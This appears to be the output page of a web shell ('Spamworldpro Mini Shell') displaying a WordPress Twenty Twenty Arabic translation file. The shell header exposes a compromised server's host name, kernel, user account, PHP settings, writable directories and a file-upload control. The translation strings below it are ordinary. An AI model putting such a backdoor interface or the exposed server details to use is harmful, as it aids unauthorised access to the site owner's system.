Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mets.corals.io/wp-content/languages/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mets.corals.io/wp-content/languages/themes/twentytwenty-ar.po
# Translation of Themes - Twenty Twenty in Arabic
# This file is distributed under the same license as the Themes - Twenty Twenty package.
msgid ""
msgstr ""
"PO-Revision-Date: 2021-11-18 01:38:56+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=6; plural=(n == 0) ? 0 : ((n == 1) ? 1 : ((n == 2) ? 2 : ((n % 100 >= 3 && n % 100 <= 10) ? 3 : ((n % 100 >= 11 && n % 100 <= 99) ? 4 : 5))));\n"
"X-Generator: GlotPress/4.0.0-alpha.1\n"
"Language: ar\n"
"Project-Id-Version: Themes - Twenty Twenty\n"

#. Description of the theme
#, gp-priority: high
msgid "Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor. Organizations and businesses have the ability to create dynamic landing pages with endless layouts using the group and column blocks. The centered content column and fine-tuned typography also makes it perfect for traditional blogs. Complete editor styles give you a good idea of what your content will look like, even before you publish. You can give your site a personal touch by changing the background colors and the accent color in the Customizer. The colors of all elements on your site are automatically calculated based on the colors you pick, ensuring a high, accessible color contrast for your visitors."
msgstr "تم تصميم القالب الافتراضي لعام 2020 للاستفادة الكاملة من مرونة محرر المكوّنات. تتمتع المؤسسات والشركات بالقدرة على إنشاء صفحات هبوط ديناميكية ذات تخطيطات لا نهاية لها باستخدام مكوّنات المجموعة والعمود. كما أن عمود المحتوى المركزي وصياغة الحروف الدقيقة تجعله مثاليًا للمدونات التقليدية. تمنحك أنماط المحرر الكاملة فكرة جيدة عن الشكل الذي سيبدو عليه المحتوى الخاص بك، حتى قبل النشر. يمكنك منح موقعك لمسة شخصية عن طريق تغيير ألوان الخلفية ولونك المخصص في أداة التخصيص. يتم احتساب ألوان جميع العناصر على موقعك تلقائيًا استنادًا إلى الألوان التي تختارها، مما يضمن تباينًا عاليًا في الألوان التي يشاهدها زوّارك."

#. Theme Name of the theme
#: inc/block-patterns.php:20
#, gp-priority: high
msgid "Twenty Twenty"
msgstr "Twenty Twenty"

#: classes/class-twentytwenty-customize.php:131
msgctxt "color"
msgid "Custom"
msgstr "مُخصَّص"

#: classes/class-twentytwenty-customize.php:130
msgctxt "color"
msgid "Default"
msgstr "افتراضي"

#: inc/block-patterns.php:197
msgid "With seven floors of striking architecture, UMoMA shows exhibitions of international contemporary art, sometimes along with art historical retrospectives. Existential, political, and philosophical issues are intrinsic to our program. As visitor, you are invited to guided tours artist talks, lectures, film screenings, and other events with free admission."
msgstr "مع سبعة طوابق من الهندسة المعمارية المذهلة، يعرض UMoMA معارض للفن المعاصر الدولي، وأحيانًا إلى جانب الأحداث التاريخية التاريخية للفن. القضايا الوجودية والسياسية والفلسفية هي جوهر برنامجنا. كزائر، فأنت مدعو للمشاركة في محادثات الفنان المصحوبة بمرشدين والمحاضرات وعروض الأفلام وغيرها من الأحداث مع الدخول المجاني."

#: inc/block-patterns.php:194
msgid "The Premier Destination for Modern Art in Sweden"
msgstr "الوجهة الأولى للفن الحديث في السويد"

#: inc/block-patterns.php:187
msgid "Introduction"
msgstr "مقدمة"

#: inc/block-patterns.php:157 inc/block-patterns.php:171
msgid "August 1 — December 1"
msgstr "1 أغسطس — 1 ديسمبر"

#: inc/block-patterns.php:151 inc/block-patterns.php:165
msgid "Abstract Rectangles"
msgstr "مستطيلات مجردة"

#: inc/block-patterns.php:142
msgid "Featured Content"
msgstr "المحتوى المميز"

#: inc/block-patterns.php:128
msgid "<em>Price</em><br>Included"
msgstr "<em>السعر</em><br>مضمّن"

#: inc/block-patterns.php:123
msgid "<em>Location</em><br>Exhibit Hall B"
msgstr "<em>المكان</em><br>Exhibit Hall B"

#: inc/block-patterns.php:118
msgid "<em>Dates</em><br>Aug 1 — Dec 1"
msgstr "<em>التواريخ</em><br>1 أغسطس — 1 ديسمبر"

#: inc/block-patterns.php:108
msgid "Event Details"
msgstr "تفاصيل الحدث"

#: inc/block-patterns.php:93
msgid "Shop Now"
msgstr "تسوّق الآن"

#: inc/block-patterns.php:89
msgid "An awe-inspiring collection of books, prints, and gifts from our exhibitions."
msgstr "مجموعة مذهلة من الكتب والمطبوعات والهدايا من معارضنا."

#: inc/block-patterns.php:86
msgid "The Store"
msgstr "المتجر"

#: inc/block-patterns.php:74
msgid "Award-winning exhibitions featuring internationally-renowned artists."
msgstr "معارض حائزة على جوائز تضم فنانين مشهورين دوليًا."

#: inc/block-patterns.php:71
msgid "The Museum"
msgstr "المتحف"

#: inc/block-patterns.php:61
msgid "Double Call to Action"
msgstr "دعوة مزدوجة لاتخاذ إجراء"

#: inc/block-patterns.php:48
msgid "Become a Member"
msgstr "كن عضوًا"

#: inc/block-patterns.php:42
msgid "Support the Museum and Get Exclusive Offers"
msgstr "ادعم المتحف واحصل على عروض حصرية"

#: inc/block-patterns.php:33
msgid "Call to Action"
msgstr "دعوة لاتخاذ إجراء"

#: template-parts/modal-menu.php:73
msgctxt "menu"
msgid "Mobile"
msgstr "الهاتف المحمول"

#: template-parts/modal-menu.php:48
msgctxt "menu"
msgid "Expanded"
msgstr "موسعة"

#: header.php:88
msgctxt "menu"
msgid "Horizontal"
msgstr "أفقي"

#: header.php:53 header.php:157
msgctxt "toggle text"
msgid "Search"
msgstr "البحث"

#: functions.php:526
msgctxt "color"
msgid "Secondary"
msgstr "الثانوي"

#: functions.php:521
msgctxt "color"
msgid "Primary"
msgstr "الأساسي"

#: index.php:51
msgid "Nothing Found"
msgstr "لم يتم العثور على شيء"

#: classes/class-twentytwenty-customize.php:251
msgid "Show author bio"
msgstr "عرض نبذة عن الكاتب"

#: template-parts/entry-author-bio.php:29
msgid "View Archive <span aria-hidden=\"true\">&rarr;</span>"
msgstr "عرض الأرشيف <span aria-hidden=\"true\">&rarr;</span>"

#: inc/starter-content.php:39
msgctxt "Theme starter content"
msgid "The New UMoMA Opens its Doors"
msgstr "الـ UMoMA الجديد يفتح أبوابه"

#: inc/template-tags.php:414
msgctxt "A string that is output before one or more categories"
msgid "In"
msgstr "في"

#: inc/starter-content.php:151
msgid "Join the Club"
msgstr "الانضمام للنادي"

#: inc/block-patterns.php:45 inc/starter-content.php:148
msgid "Members get access to exclusive exhibits and sales. Our memberships cost $99.99 and are billed annually."
msgstr "يمكن للأعضاء الوصول إلى المعارض والمبيعات الحصرية. تكلف عضوياتنا 99.99 دولارًا ويتم احتسابها سنويًا."

#: inc/starter-content.php:145
msgid "Become a Member and Get Exclusive Offers!"
msgstr "كن عضوًا واحصل على عروض حصرية!"

#: inc/starter-content.php:137
msgid "The exhibitions are produced by UMoMA in collaboration with artists and museums around the world and they often attract international attention. UMoMA has received a Special Commendation from the European Museum of the Year, and was among the top candidates for the Swedish Museum of the Year Award as well as for the Council of Europe Museum Prize."
msgstr "يتم إنتاج هذه المعارض بواسطة UMoMA بالتعاون مع الفنانين والمتاحف في جميع أنحاء العالم وغالبًا ما تجذب الانتباه الدولي. حصل UMoMA على تقدير خاص من المتحف الأوروبي للعام، وكان من بين أفضل المرشحين لجائزة المتحف السويدي للعام وكذلك لجائزة متحف مجلس أوروبا."

#: inc/starter-content.php:134
msgid "With seven floors of striking architecture, UMoMA shows exhibitions of international contemporary art, sometimes along with art historical retrospectives. Existential, political and philosophical issues are intrinsic to our programme. As visitor you are invited to guided tours artist talks, lectures, film screenings and other events with free admission"
msgstr "مع سبعة طوابق من الهندسة المعمارية المذهلة، يعرض UMoMA معارض للفن المعاصر الدولي، وأحيانًا إلى جانب الأحداث التاريخية التاريخية للفن. القضايا الوجودية والسياسية والفلسفية هي جوهر برنامجنا. كزائر، فأنت مدعو للمشاركة في محادثات الفنان المصحوبة بمرشدين والمحاضرات وعروض الأفلام وغيرها من الأحداث مع الدخول المجاني"

#: inc/starter-content.php:130
msgid "&#8220;Cyborgs, as the philosopher Donna Haraway established, are not reverent. They do not remember the cosmos.&#8221;"
msgstr "\"سايبورغ، كما أسس الفيلسوف دونا هاراواي، لم يوقظ. إنهم لا يتذكرون الكون.\""

#: inc/starter-content.php:114
msgid "From Signac to Matisse"
msgstr "من سينياك إلى ماتيس"

#: inc/block-patterns.php:168 inc/starter-content.php:99
msgid "The Life I Deserve"
msgstr "الحياة التي أستحقّها"

#: inc/starter-content.php:85 inc/starter-content.php:117
msgid "October 1 -- December 1"
msgstr "1 أكتوبر -- 1 ديسمبر"

#: inc/starter-content.php:82
msgid "Theatre of Operations"
msgstr "مسرح العمليات"

#: inc/block-patterns.php:78 inc/block-patterns.php:160
#: inc/block-patterns.php:174 inc/starter-content.php:73
#: inc/starter-content.php:88 inc/starter-content.php:105
#: inc/starter-content.php:120
msgid "Read More"
msgstr "قراءة المزيد"

#: inc/starter-content.php:70 inc/starter-content.php:102
msgid "August 1 -- December 1"
msgstr "1 أغسطس -- 1 ديسمبر"

#: inc/block-patterns.php:154 inc/starter-content.php:67
msgid "Works and Days"
msgstr "العمل والأيام"

#: inc/starter-content.php:56
msgid "The premier destination for modern art in Northern Sweden. Open from 10 AM to 6 PM every day during the summer months."
msgstr "الوجهة الأولى للفن الحديث في شمال السويد. يفتح من الساعة 10 صباحًا إلى 6 مساءً يوميًا خلال أشهر الصيف."

#: inc/starter-content.php:48
msgid "The New UMoMA Opens its Doors"
msgstr "الـ UMoMA الجديد يفتح أبوابه"

#: classes/class-twentytwenty-customize.php:400
msgid "Overlay Opacity"
msgstr "شفافية الغطاء"

#: classes/class-twentytwenty-customize.php:380
msgid "The color used for the text in the overlay."
msgstr "اللون المستخدم للنص في الغطاء."

#: classes/class-twentytwenty-customize.php:379
msgid "Overlay Text Color"
msgstr "لون نصّ الغطاء"

#: classes/class-twentytwenty-customize.php:358
msgid "The color used for the overlay. Defaults to the accent color."
msgstr "اللون المستخدم للغطاء. الإعدادات الافتراضية لشدّة اللون."

#: classes/class-twentytwenty-customize.php:357
msgid "Overlay Background Color"
msgstr "لون خلفية الغطاء"

#: classes/class-twentytwenty-customize.php:288
msgid "Settings for the \"Cover Template\" page template. Add a featured image to use as background."
msgstr "إعدادات قالب صفحة \"قالب الغلاف\". إضافة صورة مميزة لاستخدامها كخلفية."

#: classes/class-twentytwenty-customize.php:188
msgid "Apply a custom color for links, buttons, featured images."
msgstr "تطبيق لون مخصص للروابط، والأزرار، والصور المميزة."

#: classes/class-twentytwenty-customize.php:128
msgid "Primary Color"
msgstr "اللون الأساسي"

#: searchform.php:28 template-parts/modal-search.php:20
msgid "Search for:"
msgstr "البحث عن:"

#: index.php:101
msgid "search again"
msgstr "البحث مرة أخرى"

#. translators: %s: Number of search results.
#: index.php:39
msgid "We found %s result for your search."
msgid_plural "We found %s results for your search."
msgstr[0] "(%s) لم نتمكن من إيجاد نتائج لبحثك."
msgstr[1] "لقد وجدنا نتيجة واحدة (%s) لبحثك."
msgstr[2] "لقد وجدنا نتيجتان (%s) لبحثك."
msgstr[3] "لقد وجدنا %s نتائج لبحثك."
msgstr[4] "لقد وجدنا %s نتيجة لبحثك."
msgstr[5] "لقد وجدنا %s نتيجة لبحثك."

#. translators: %s: HTML character for up arrow.
#: footer.php:55
msgid "Up %s"
msgstr "أعلى %s"

#. translators: %s: HTML character for up arrow.
#: footer.php:49
msgid "To the top %s"
msgstr "للأعلى %s"

#. translators: Copyright date format, see
#. https://www.php.net/manual/datetime.format.php
#: footer.php:25
msgctxt "copyright date format"
msgid "Y"
msgstr "Y"

#: 404.php:24
msgid "404 not found"
msgstr "404 غير موجود"

#. Template Name of the theme
msgid "Full Width Template"
msgstr "نموذج بالعرض الكامل"

#. Translators: This text contains HTML to allow the text to be shorter on
#. small screens. The text inside the span with the class nav-short will be
#. hidden on small screens.
#: template-parts/pagination.php:27
msgid "Older <span class=\"nav-short\">Posts</span>"
msgstr "<span class=\"nav-short\">مقالات</span> أقدم"

#. Translators: This text contains HTML to allow the text to be shorter on
#. small screens. The text inside the span with the class nav-short will be
#. hidden on small screens.
#: template-parts/pagination.php:19
msgid "Newer <span class=\"nav-short\">Posts</span>"
msgstr "<span class=\"nav-short\">مقالات</span> أحدث"

#: template-parts/navigation.php:25
msgid "Post"
msgstr "المقالة"

#: template-parts/modal-search.php:26
msgid "Close search"
msgstr "إغلاق البحث"

#: template-parts/modal-menu.php:117
msgid "Expanded Social links"
msgstr "الروابط الاجتماعية الموسعة"

#: template-parts/modal-menu.php:21
msgid "Close Menu"
msgstr "إغلاق القائمة"

#: template-parts/footer-menus-widgets.php:57
msgid "Social links"
msgstr "الروابط الاجتماعية"

#: template-parts/footer-menus-widgets.php:37
msgid "Footer"
msgstr "التذييل"

#. translators: %s: Author name.
#: inc/template-tags.php:375 template-parts/entry-author-bio.php:20
msgid "By %s"
msgstr "بواسطة %s"

#: template-parts/content-cover.php:138 template-parts/content.php:48
msgid "Pages:"
msgstr "الصفحات:"

#: template-parts/content-cover.php:138 template-parts/content.php:48
msgid "Page"
msgstr "الصفحة"

#: template-parts/content-cover.php:88
msgid "Scroll Down"
msgstr "التمرير للأسفل"

#: searchform.php:31
msgctxt "submit button"
msgid "Search"
msgstr "بحث"

#: searchform.php:29
msgctxt "placeholder"
msgid "Search &hellip;"
msgstr "بحث &hellip;"

#: index.php:48
msgid "We could not find any results for your search. You can give it another try through the search form below."
msgstr "لم نتمكن من العثور على أي نتائج لبحثك. يمكنك التجربة مرة أخرى باستخدام كلمات مختلفة من خلال نموذج البحث أدناه."

#: index.php:32
msgid "Search:"
msgstr "البحث:"

#. translators: %s: Post title. Only visible to screen readers.
#: inc/template-tags.php:223
msgid "Edit <span class=\"screen-reader-text\">%s</span>"
msgstr "تحرير <span class=\"screen-reader-text\">%s</span>"

#: inc/template-tags.php:466
msgid "Sticky post"
msgstr "مقالة مثبتة"

#: inc/template-tags.php:428
msgid "Tags"
msgstr "الوسوم"

#: inc/template-tags.php:410 template-parts/content-cover.php:70
#: template-parts/entry-header.php:36
msgid "Categories"
msgstr "التصنيفات"

#: inc/template-tags.php:392
msgid "Post date"
msgstr "تاريخ المقالة"

#: inc/template-tags.php:368
msgid "Post author"
msgstr "كاتب المقالة"

#: inc/starter-content.php:197
msgid "Social Links Menu"
msgstr "قائمة الروابط الإجتماعية"

#: inc/starter-content.php:177 inc/starter-content.php:187
msgid "Primary"
msgstr "رئيسي"

#: header.php:76 header.php:137
msgid "Menu"
msgstr "القائمة"

#: template-parts/modal-search.php:11
msgid "Search"
msgstr "البحث"

#: template-parts/content.php:36
msgid "Continue reading"
msgstr "متابعة القراءة"

#: functions.php:578
msgctxt "Short name of the larger font size in the block editor."
msgid "XL"
msgstr "XL"

#: functions.php:577
msgctxt "Name of the larger font size in the block editor"
msgid "Larger"
msgstr "أكبر"

#: functions.php:572
msgctxt "Short name of the large font size in the block editor."
msgid "L"
msgstr "L"

#: functions.php:571
msgctxt "Name of the large font size in the block editor"
msgid "Large"
msgstr "كبير"

#: functions.php:566
msgctxt "Short name of the regular font size in the block editor."
msgid "M"
msgstr "M"

#: functions.php:565
msgctxt "Name of the regular font size in the block editor"
msgid "Regular"
msgstr "عادي"

#: functions.php:560
msgctxt "Short name of the small font size in the block editor."
msgid "S"
msgstr "S"

#: functions.php:559
msgctxt "Name of the small font size in the block editor"
msgid "Small"
msgstr "صغير"

#: functions.php:544
msgid "Background Color"
msgstr "لون الخلفية"

#: functions.php:531
msgid "Subtle Background"
msgstr "خلفية رقيقة"

#: functions.php:516
msgid "Accent Color"
msgstr "شدة اللون"

#: functions.php:403
msgid "Widgets in this area will be displayed in the second column in the footer."
msgstr "سيتم عرض الودجات في هذه المنطقة في العمود الثاني في تذييل الصفحة."

#: functions.php:401
msgid "Footer #2"
msgstr "التذييل #2"

#: functions.php:391
msgid "Widgets in this area will be displayed in the first column in the footer."
msgstr "سيتم عرض الودجات في هذه المنطقة في العمود الأول في تذييل الصفحة."

#: functions.php:389
msgid "Footer #1"
msgstr "التذييل #1"

#: functions.php:362
msgid "Skip to the content"
msgstr "التخطي إلى المحتوى"

#: functions.php:277
msgid "Social Menu"
msgstr "قائمة اجتماعية"

#: functions.php:276
msgid "Footer Menu"
msgstr "قائمة تذييل الصفحة"

#: functions.php:275
msgid "Mobile Menu"
msgstr "قائمة الهاتف المحمول"

#: functions.php:274
msgid "Desktop Expanded Menu"
msgstr "قائمة سطح المكتب الموسَّعة"

#: functions.php:273
msgid "Desktop Horizontal Menu"
msgstr "قائمة سطح المكتب الأفقية"

#: footer.php:39
msgid "Powered by WordPress"
msgstr "يعمل بواسطة ووردبريس"

#: comments.php:127
msgid "Comments are closed."
msgstr "التعليقات مغلقة."

#: comments.php:88
msgid "Comments"
msgstr "التعليقات"

#: comments.php:75
msgid "Older Comments"
msgstr "التعليقات الأقدم"

#: comments.php:74
msgid "Newer Comments"
msgstr "التعليقات الأحدث"

#. translators: 1: Number of comments, 2: Post title.
#: comments.php:41
msgctxt "comments title"
msgid "%1$s reply on &ldquo;%2$s&rdquo;"
msgid_plural "%1$s replies on &ldquo;%2$s&rdquo;"
msgstr[0] "لا توجد تعليقات على &ldquo;%2$s&rdquo;"
msgstr[1] "تعليق واحد على &ldquo;%2$s&rdquo;"
msgstr[2] "تعليقين على &ldquo;%2$s&rdquo;"
msgstr[3] "%1$s تعليقات على &ldquo;%2$s&rdquo;"
msgstr[4] "%1$s تعليق على &ldquo;%2$s&rdquo;"
msgstr[5] "%1$s تعليق على &ldquo;%2$s&rdquo;"

#. translators: %s: Post title.
#: comments.php:37
msgctxt "comments title"
msgid "One reply on &ldquo;%s&rdquo;"
msgstr "تعليق واحد على &ldquo;%s&rdquo;"

#: comments.php:34
msgid "Leave a comment"
msgstr "اترك تعليقاً"

#: classes/class-twentytwenty-walker-page.php:115 inc/template-tags.php:580
msgid "Show sub menu"
msgstr "عرض القائمة الفرعية"

#. translators: %d: ID of a post.
#: classes/class-twentytwenty-walker-page.php:78
msgid "#%d (no title)"
msgstr "#%d (بدون عنوان)"

#: classes/class-twentytwenty-walker-comment.php:137
msgid "By Post Author"
msgstr "بواسطة كاتب المقالة"

#: classes/class-twentytwenty-walker-comment.php:102
msgid "Your comment is awaiting moderation."
msgstr "تعليقك بإنتظار الموافقة للنشر."

#: classes/class-twentytwenty-walker-comment.php:86
msgid "Edit"
msgstr "تحرير"

#. translators: 1: Comment date, 2: Comment time.
#: classes/class-twentytwenty-walker-comment.php:72
msgid "%1$s at %2$s"
msgstr "%1$s الساعة %2$s"

#: classes/class-twentytwenty-walker-comment.php:60
msgid "says:"
msgstr "يقول:"

#: classes/class-twentytwenty-customize.php:401
msgid "Make sure that the contrast is high enough so that the text is readable."
msgstr "تأكد من أن التباين مرتفع بدرجة كافية بحيث يكون النص قابلاً للقراءة."

#: classes/class-twentytwenty-customize.php:311
msgid "Creates a parallax effect when the visitor scrolls."
msgstr "إنشاء تأثير parallax عندما يقوم الزائر بالتمرير."

#: classes/class-twentytwenty-customize.php:310
msgid "Fixed Background Image"
msgstr "صورة خلفية ثابتة"

#. Template Name of the theme
#: classes/class-twentytwenty-customize.php:286
msgid "Cover Template"
msgstr "قالب الغلاف"

#: classes/class-twentytwenty-customize.php:275
msgid "Summary"
msgstr "ملخّص (موجز)"

#: classes/class-twentytwenty-customize.php:274
msgid "Full text"
msgstr "النص بالكامل"

#: classes/class-twentytwenty-customize.php:272
msgid "On archive pages, posts show:"
msgstr "في صفحات الأرشيف، تظهر المقالات:"

#: classes/class-twentytwenty-customize.php:230
msgid "Show search in header"
msgstr "إظهار البحث في الترويسة"

#: classes/class-twentytwenty-customize.php:207
msgid "Theme Options"
msgstr "خيارات القالب"

#: classes/class-twentytwenty-customize.php:106
msgid "Header &amp; Footer Background Color"
msgstr "لون خلفية الترويسة والتذييل"

#: classes/class-twentytwenty-customize.php:87
msgid "Scales the logo to half its uploaded size, making it sharp on high-res screens."
msgstr "تحجيم الشعار إلى نصف حجمه الذي تم رفعه، مما يجعله حادًا على شاشات عالية الدقة."

#: classes/class-twentytwenty-customize.php:86
msgid "Retina logo"
msgstr "شعار Retina"

#: 404.php:19
msgid "The page you were looking for could not be found. It might have been removed, renamed, or did not exist in the first place."
msgstr "لا يمكن العثور على الصفحة التي كنت تبحث عنها. ربما تمت إزالتها أو إعادة تسميتها أو أنها غير موجودة بالأساس."

#: 404.php:17
msgid "Page Not Found"
msgstr "الصفحة غير موجودة."

#. Author URI of the theme
#: footer.php:38
#, gp-priority: low
msgid "https://wordpress.org/"
msgstr "https://ar.wordpress.org/"

#. Author of the theme
#, gp-priority: low
msgid "the WordPress team"
msgstr "فريق ووردبريس"

#. Theme URI of the theme
#, gp-priority: low
msgid "https://wordpress.org/themes/twentytwenty/"
msgstr "https://wordpress.org/themes/twentytwenty/"

Spamworldpro Mini